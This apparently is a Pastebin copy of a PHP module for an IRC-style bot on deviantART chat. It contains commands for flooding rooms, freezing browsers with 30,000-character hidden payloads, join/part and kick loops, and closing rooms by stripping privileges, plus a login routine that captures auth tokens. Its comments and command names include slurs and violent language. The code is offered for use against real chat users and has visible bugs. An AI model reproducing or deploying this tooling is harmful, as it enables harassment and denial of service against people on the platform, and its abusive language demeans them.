Advertisement
infernotorrent

Shark | incl chatnick // ihm

Jun 20th, 2013
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 14.84 KB | None | 0 0
  1. <?php
  2.  
  3. /* ---Shark module for Contra
  4.  * Not to be redistributed unless you have explicitly gained my permission.
  5.  * Written by bloodshedsniper/i-hate-mushrooms/i-haet-mushrooms <infernowasp@gmail.com>
  6. */
  7.  
  8. class Shark extends extension {
  9.    
  10.     public $name = 'Shark';
  11.     public $version = '4.2';
  12.     public $about = 'No info, beat the fucking author, fagass.';
  13.     public $status = true;
  14.     public $author = 'i-hate-mushrooms';
  15.     public $type = EXT_CUSTOM;
  16.    
  17.     function init() {
  18.        
  19.             $tr = $this->Bot->trigger;
  20.            
  21.             $this->addCmd('scl', 'shorten_chat', 99);
  22.             $this->addCmd('f', 'c_freeze', 99);
  23.             $this->addCmd('s', 'c_spam', 99);
  24.             $this->addCmd('r', 'c_rape', 99);
  25.             $this->addCmd('t', 'c_gettoken', 99);
  26.             $this->addCmd('sr', 'c_spamrape', 99);
  27.             $this->addCmd('log', 'c_login', 99);
  28.             $this->addCmd('jsp', 'c_joinspampart', 99);
  29.             $this->addCmd('kr', 'c_kickrape', 99);
  30.             $this->addCmd('close', 'c_close', 99);
  31. //          $this->addCmd('getcookie', 'c_cookie', 99);
  32.  
  33.             $this->cmdHelp('scl', "Usage: {$tr}scl <i>[add/change/set/del/list] <b>[chatname] [chat nick]</b></i>. <br>{tr}scl <i>[add] [chat] [chat nick]</i> adds [chat] to the list, and its replacement nickname with [chat nick]. Ex: {$tr}scl [add] #MagicCorner #MC will now look in all command usage for #MC and replace with #MagicCorner. A way to shorthand, if you will. <b>Note: In order for the nickname to work, you will need to use #nickname in most cases</b>.<br>{$tr}scl del <i>[chatname]</i> will remove [chat]'s nickname from the list.<br>{$tr}scl [change/set] <i> [chatname] [new nickname]</i> will change the stored nickname for [chatname] to [new nickname]. Ex: {$tr}scl [change/set] #MagicCorner #MCorner will change the nickname from #MC to #MCorner.<br>{$tr}scl <i>[list]</i> will list all the stored chatrooms with their nicknames.");
  34.             $this->cmdHelp('f', 'Freeze. Made specifically to freeze browsers. Outputs 30k dots in a hidden abbr per send. Will show as a blank send to normal users. Multiple send (using a number more than one) doesn\'t seem to work yet. f room 1');
  35.             $this->cmdHelp('s', 'Spam. Basic flood cmd. s room number msg');
  36.             $this->cmdHelp('r', 'Rape. join, part, join process loop. r room number');
  37.             $this->cmdHelp('t', 'Grabs an autotoken. -The terminal input password feature doesn\'t seem to work very well on Linux. t username password');
  38.             $this->cmdHelp('sr', 'Spam rape. msg, part, join, msg process loop. sr room number msg');
  39.             $this->cmdHelp('log', 'Login. -The terminal input password feature doesn\'t seem to work very well on Linux. log username password');
  40.             $this->cmdHelp('jsp', 'join, spam, part. Joining and parting automated for ease/speed of use. jsp room number msg');
  41.             $this->cmdHelp('kr', 'Kickrape. kr user number msg/reason');
  42.             $this->cmdHelp('close', 'Close a room. Based on :devMNBot:\'s close cmd; lacks close confirmation. Bot account must be in pc with +admin.');
  43. //          $this->cmdHelp('getcookie', 'No help for this command, beat the author.');
  44. }
  45.     function c_close($ns, $from, $message, $target) {
  46.             $tg = args($message, 1);
  47.     if (empty($tg))
  48.             //foreach($this->dAmn->chat[$ns]['pc'] as $ord => $pc) {$this->dAmn->admin($ns, " remove privclass $pc");}
  49.             foreach($this->dAmn->chat[$ns]['pc'] as $ord => $pc) {$this->dAmn->admin($ns, " update privclass $pc -join");}
  50. /*          $this->dAmn->admin($ns, " update privclass $pc -msg");
  51.             $this->dAmn->admin($ns, " rename privclass $pc to Faggots");
  52.             $this->dAmn->admin($ns, " rename privclass Faggots to Holy");
  53.             $this->dAmn->admin($ns, " rename privclass Holy to Shit");
  54.             $this->dAmn->admin($ns, " rename privclass Shit to Look");
  55.             $this->dAmn->admin($ns, " rename privclass Look to At");
  56.             $this->dAmn->admin($ns, " rename privclass At to What");
  57.             $this->dAmn->admin($ns, " rename privclass What to Is");
  58.             $this->dAmn->admin($ns, " rename privclass Is to Happening");
  59.             $this->dAmn->admin($ns, " rename privclass Happening to Rofl");
  60.             $this->dAmn->admin($ns, " rename privclass Rofl to You");
  61.             $this->dAmn->admin($ns, " rename privclass You to Got");
  62.             $this->dAmn->admin($ns, " rename privclass Got to Owned");
  63.             $this->dAmn->admin($ns, " rename privclass Owned to FuckedOver");}
  64.            
  65.             $this->dAmn->set($ns, "title", "<b>i accidentally in your base</b>");
  66.             $this->dAmn->set($ns, "topic", str_repeat(':iconlololplz:', 2000));*/
  67. }
  68.  
  69.     function shorten_chat( $ns, $from, $msg, $target ) {
  70.         $com = args( $msg, 1 );
  71.         $chats = args( $msg, 2 );
  72.         $nick = args( $msg, 3 );
  73.         $tr = $this->Bot->trigger;
  74.         if(file_exists("./storage/chatnick.cf")){
  75.             $scl = include "/storage/chatnick.cf";
  76.         }
  77.         switch ( strtolower( $com ) ) {
  78.             //For space saving, we'll combine change and add.
  79.             case "add":
  80.             case "change":
  81.             case "set":
  82.                 //If you use add, this command will be a little less flexible. You will not be able to change the stored nickname with add, but if you use change or set, you will be able to replace one already stored on the list with the new one.
  83.                 if( empty( $chats ) || empty ( $nick ) ){
  84.                     return $this->dAmn->say($ns, "$from: Usage: {$tr}scl [$com] <i>[chatname] [chat nickname]. This adds [chatname] to the list, and its replacement nickname with [chat nickname]. Ex: {$tr}scl {$com} #MagicCorner #MC will now look in all command usage for #MC and replace with #MagicCorner. A way to shorthand, if you will.<br>Note: In order for the chat to work, you will need to use #nickname in most cases.");
  85.                 }
  86.                 //Checking the stored nicknames. We wouldn't want multiple chatrooms being nicknamed the same thing, would get kind of.. weird.
  87.                 foreach( $scl['chatnicks'] as $chat1 => $nick1 ){
  88.                     if( strtolower( $nick1 ) == $this->dAmn->deform_chat( strtolower( $nick ) ) ){
  89.                         return $this->dAmn->say($ns, "$from: $nick is already being used as a nickname for {$chat1}.");
  90.                     }
  91.                 }
  92.                 if( isset( $scl["chatnicks"][$this->dAmn->deform_chat( strtolower( $chats ) )] ) && $com == "add"){
  93.                     return $this->dAmn->say( $ns, "$from: $chats already has a stored nickname. It's {$scl['chatnicks'][strtolower( $chats )]}");
  94.                 }
  95.                 $scl['chatnicks'][$this->dAmn->deform_chat( strtolower( $chats ) )] = $this->dAmn->deform_chat( strtolower( $nick ) );
  96.                 ksort( $scl['chatnicks'] );
  97.                 save_config("./storage/chatnick.cf", $scl);
  98.                 $this->dAmn->say($ns, "$from: {$nick} has been set for {$chats}, and can now be used in place of {$chats} in commands when you want to use commands in there.");
  99.                
  100.                 break;
  101.             //For the sake of flexibility, let's just use delete, del, remove, rem. Contra does remove/rem all over the place.
  102.             case "del":
  103.             case "remove":
  104.             case "rem":
  105.             case "delete":
  106.                 if( empty( $chats ) ){
  107.                     return $this->dAmn->say($ns, "$from: Usage: <br>{$tr}scl del <i>[chatname]</i> will remove [chat]'s nickname from the list.");
  108.                 }
  109.                 if( !isset( $scl['chatnicks'][$this->dAmn->deform_chat( strtolower( $chats ) )] ) ){
  110.                     return $this->dAmn->say($ns, "$from: $chats has no nickname stored.");
  111.                 }
  112.                 unset( $scl['chatnicks'][$this->dAmn->deform_chat( strtolower( $chats ) )] );
  113.                 ksort( $scl['chatnicks'] );
  114.                 save_config("./storage/chatnick.cf", $scl);
  115.                 $this->dAmn->say($ns, "$from: $chats no longer has a nickname and has been removed from the list. You must now use $chats for commands to that room.");
  116.                 break;
  117.             case "list":
  118.                 if( empty( $scl['chatnicks'] ) ) {
  119.                     return $this->dAmn->say($ns, "$from: There aren't currently any chatrooms with nicknames. Type \"{$tr}scl ?\" for help and to get started.");
  120.                 }
  121.                 $say = "Your <b>chat nicknames</b> include: <br><sub>";
  122.                 foreach( $scl['chatnicks'] as $chat1 => $nick1 ){
  123.                     $say .= "( $chat1 ==> $nick1 ) &nbsp;&nbsp;&nbsp;&nbsp;";
  124.                 }
  125.                 $say .= "</sub><br>--------------------------";
  126.                 $this->dAmn->say($ns, $say);
  127.                 break;
  128.             default:
  129.                 if( !empty( $scl['chatnicks'] ) ){
  130.                     foreach( $scl['chatnicks'] as $chat1 => $nick1 ){
  131.                         if( strtolower( $nick1 ) == $this->dAmn->deform_chat( strtolower( $com ) ) ){
  132.                             $this->dAmn->say($ns, "$from: $com is the stored nickname for {$chat1}");
  133.                         }
  134.                     }
  135.                     if( isset( $scl['chatnicks'][$this->dAmn->deform_chat( strtolower( $com ) )] ) ){
  136.                         $this->dAmn->say($ns, "$from: $com is nicknamed {$scl['chatnicks'][$this->dAmn->deform_chat( strtolower( $com ) )]}. You may use that nickname in place of $com in select commands.");
  137.                     }
  138.                 }
  139.                 break;
  140.         }
  141.     }
  142.  
  143.     function c_freeze($ns, $from, $message, $target) {
  144.             $tg = args($message, 1);
  145.             foreach( $scl['chatnicks'] as $chat1 => $nick1 ){
  146.             if($nick1 == $this->dAmn->deform_chat( strtolower( $targetroom ) ) ){
  147.             $targetroom = $chat1;
  148.     }
  149. }
  150.             $nu = args($message, 2, true);
  151.             //This is to load the list for us.
  152.             if(file_exists("./storage/chatnick.cf")){
  153.             $scl = include "./storage/chatnick.cf";
  154. }
  155.     if (empty($tg))
  156.             $this->dAmn->say($ns, $from.': <b>Usage:</b> f room number');
  157.     else   
  158.             $this->dAmn->join("chat:$tg");
  159.     for ($i = 0; $i < $nu; $i++) {
  160.             $this->dAmn->say("chat:$tg", "<abbr title='" . str_repeat('.', 30000) . "'>&#09;</abbr>");
  161. }
  162. }
  163.    
  164.     function c_spam($ns, $from, $message, $target) {
  165.             $tg = args($message, 1);
  166.             foreach( $scl['chatnicks'] as $chat1 => $nick1 ){
  167.             if($nick1 == $this->dAmn->deform_chat( strtolower( $targetroom ) ) ){
  168.             $targetroom = $chat1;
  169.     }
  170. }
  171.             $nu = args($message, 2);
  172.             $msg = args($message, 3, true);
  173.             //This is to load the list for us.
  174.             if(file_exists("./storage/chatnick.cf")){
  175.             $scl = include "./storage/chatnick.cf";
  176. }
  177.     if (empty($tg))
  178.             $this->dAmn->say($ns, $from.': <b>Usage:</b> s room number msg');
  179.     else   
  180.         $this->dAmn->join("chat:$tg");
  181.     for($i = 0; $i < $nu; $i++) {
  182.             $this->dAmn->say("chat:$tg", $msg);
  183. }
  184. }
  185.        
  186.     function c_joinspampart($ns, $from, $message, $target) {
  187.             $tg = args($message, 1);
  188.             foreach( $scl['chatnicks'] as $chat1 => $nick1 ){
  189.             if($nick1 == $this->dAmn->deform_chat( strtolower( $targetroom ) ) ){
  190.             $targetroom = $chat1;
  191.     }
  192. }
  193.             $nu = args($message, 2);
  194.             $msg = args($message, 3, true);
  195.             //This is to load the list for us.
  196.             if(file_exists("./storage/chatnick.cf")){
  197.             $scl = include "./storage/chatnick.cf";
  198. }
  199.     if (empty($tg))
  200.             $this->dAmn->say($ns, $from.': <b>Usage:</b> jsp room number msg');
  201.     else   
  202.             $this->dAmn->join("chat:$tg");
  203.     for ($i = 0; $i < $nu; $i++) {
  204.             $this->dAmn->say("chat:$tg", $msg);
  205. }
  206.             $this->dAmn->part("chat:$tg");
  207. }
  208.        
  209.     function c_rape($ns, $from, $message, $target) {
  210.             $tg = args($message, 1);
  211.             foreach( $scl['chatnicks'] as $chat1 => $nick1 ){
  212.             if($nick1 == $this->dAmn->deform_chat( strtolower( $targetroom ) ) ){
  213.             $targetroom = $chat1;
  214.     }
  215. }
  216.             $nu = args($message, 2, true);
  217.             //This is to load the list for us.
  218.             if(file_exists("./storage/chatnick.cf")){
  219.             $scl = include "./storage/chatnick.cf";
  220. }
  221.     if (empty($tg))
  222.             $this->dAmn->say($ns, $from.': <b>Usage:</b> r room number');
  223.     else {
  224.     for ($i = 0; $i < $nu; $i++) {
  225.             $this->dAmn->part("chat:$tg");
  226.             $this->dAmn->join("chat:$tg");
  227. }
  228. }
  229. }
  230.            
  231. /*    function c_gettoken($ns, $from, $message, $target) {
  232.             $user = args($message, 1);
  233.             $pass = args($message, 2);
  234.             $un = args($message, 3, true);
  235.     if (empty($user))
  236.     return
  237.             $this->dAmn->say($ns, $from.': <b>Usage:</b> At least provide a username.');
  238.     elseif (empty($pass)) {
  239.             $this->dAmn->say($ns, $from.': Enter password in terminal/console. (This doesn\'t seem to work well on Linux btw lol)');
  240.     print "What's the password? ";
  241.             $pass = trim(fgets(STDIN));
  242. }
  243.             $cookie = cookiegrab($user, $pass);
  244.     if (empty($cookie))
  245.             $this->dAmn->say($ns, $from.': Invalid username or password.');
  246.             $this->dAmn->say($ns, $from.': ' . $cookie['authtoken']);
  247. }*/
  248.        
  249.     function c_spamrape($ns, $from, $message, $target) {
  250.             $tg = args($message, 1);
  251.             foreach( $scl['chatnicks'] as $chat1 => $nick1 ){
  252.             if($nick1 == $this->dAmn->deform_chat( strtolower( $targetroom ) ) ){
  253.             $targetroom = $chat1;
  254.     }
  255. }
  256.             $nu = args($message, 2);
  257.             $msg = args($message, 3, true);
  258.             //This is to load the list for us.
  259.             if(file_exists("./storage/chatnick.cf")){
  260.             $scl = include "./storage/chatnick.cf";
  261. }
  262.     if (empty($tg))
  263.             $this->dAmn->say($ns, $from.': <b>Usage:</b> sr room number');
  264.     else
  265.     for($i = 0; $i < $nu; $i++) {
  266.             $this->dAmn->join("chat:$tg");
  267.             $this->dAmn->say("chat:$tg", $msg);
  268.             $this->dAmn->part("chat:$tg");
  269. }
  270. }/*
  271.        
  272.     function c_login($ns, $from, $message, $target) {
  273.             $user = args($message, 1);
  274.             $pass = args($message, 2);
  275.             $wut = args($message, 3, true);
  276.     if (empty($user))
  277.             $this->dAmn->say($ns, $from.': At least provide a username.');
  278.     elseif (empty($pass)) {
  279.             $this->dAmn->say($ns, $from.': Enter password in the console. (This doesn\'t seem to work well on Linux btw lol)');
  280.     print "What's $user's password? ";
  281.             $pass = trim(fgets(STDIN));
  282. }
  283.             $cookie = cookiegrab($user, $pass);
  284.     if (empty($cookie))
  285.             $this->dAmn->say($ns, $from.': Invalid username or password.');
  286.             $this->Bot->username = $user;
  287.             $this->Bot->cookie['authtoken'] = $cookie['authtoken'];
  288.             $this->dAmn->disconnect();
  289. }*/
  290.     function c_kickrape($ns, $from, $message, $target) {
  291.             $user = args($message, 1);
  292.             $nu = args($message, 2);
  293.             $res = args($message, 3, true);
  294.             //This is to load the list for us.
  295.             if(file_exists("./storage/chatnick.cf")){
  296.             $scl = include "./storage/chatnick.cf";
  297. }
  298.     if(empty($user)) {
  299.             $this->dAmn->say($ns, $from.': <b>Usage:</b> kr username number msg/reason');
  300.     return;
  301. }
  302.     if (!is_numeric($nu))
  303.             $r = args($message, 2, true); $r = $r==''?false:$r;
  304.     for($i = 0; $i < $nu; $i++) {
  305.         sleep(1);
  306.             $this->dAmn->kick($target, $user, $res);
  307.             }
  308.         }
  309.     }
  310.  
  311.         define('LBR', chr(10));
  312.     function cookiegrab($username, $pass) {
  313.    
  314.             $socket = fsockopen('ssl://www.deviantart.com', 443);
  315.     if      ($socket === false) {
  316.     echo '>> Unable to connect.'.LBR;
  317.     echo '>> Check your connection.'.LBR;
  318.     return 1;
  319. }
  320.             $POST = 'ref='.urlencode('https://www.deviantart.com/users/login');
  321.             $POST.= '&username='.urlencode($username);
  322.             $POST.= '&password='.urlencode($pass);
  323.             $POST.= '&reusetoken=1' . chr(0);
  324.         fputs($socket, 'POST /users/login HTTP/1.1'.LBR);
  325.         fputs($socket, 'Host: www.deviantart.com'.LBR);
  326.         fputs($socket, 'User-Agent: Authtoken grabber'.LBR);
  327.         fputs($socket, 'Accept: text/html'.LBR);
  328.         fputs($socket, 'Cookie: skipintro=1'.LBR);
  329.         fputs($socket, 'Content-Type: application/x-www-form-urlencoded'.LBR);
  330.         fputs($socket, 'Content-Length: ' . strlen ($POST) . LBR . LBR . $POST);
  331.             $response = '';
  332.     while (!feof ($socket))
  333.             $response .= fgets ($socket, 500);
  334.         fclose ($socket);
  335.     if(!empty($response)) {
  336.             $response = urldecode($response);
  337.             $response = substr($response, strpos($response,'=')+1);
  338.             $cookie = unserialize(substr($response, 0, strpos($response, ';};')+2));
  339.     if(is_array($cookie)) {
  340.     if(array_key_exists('authtoken', $cookie))
  341.     return $cookie;
  342. }
  343. }
  344.     return Null;  
  345. }
  346.  
  347. new Shark($core);
  348.  
  349. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement